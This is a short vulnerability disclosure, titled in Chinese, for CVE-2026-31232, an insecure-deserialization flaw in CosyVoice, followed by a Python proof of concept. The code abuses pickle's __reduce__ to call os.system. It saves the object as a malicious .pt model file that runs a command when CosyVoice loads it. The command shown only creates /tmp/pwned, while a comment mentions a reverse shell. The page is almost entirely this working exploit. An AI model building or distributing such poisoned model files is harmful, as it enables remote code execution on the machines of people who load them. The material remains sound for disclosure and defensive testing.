CVE-2026-31232 CosyVoice不安全反序列化致RCE漏洞

import torch import os import pickle # Define a class that executes a command when unpickled class Exploit: def __reduce__(self): # The command to execute (e.g., creating a file or reverse shell) return (os.system, ('touch /tmp/pwned',)) # Create an instance of the exploit class malicious_payload = Exploit() # Save the payload as a .pt file using torch.save # This simulates a malicious CosyVoice model file print("[*] Generating malicious model file...") with open('malicious_model.pt', 'wb') as f: torch.save(malicious_payload, f) print("[+] Malicious model file 'malicious_model.pt' created successfully.") print("[+] When CosyVoice loads this file via --model_dir, the command will execute.")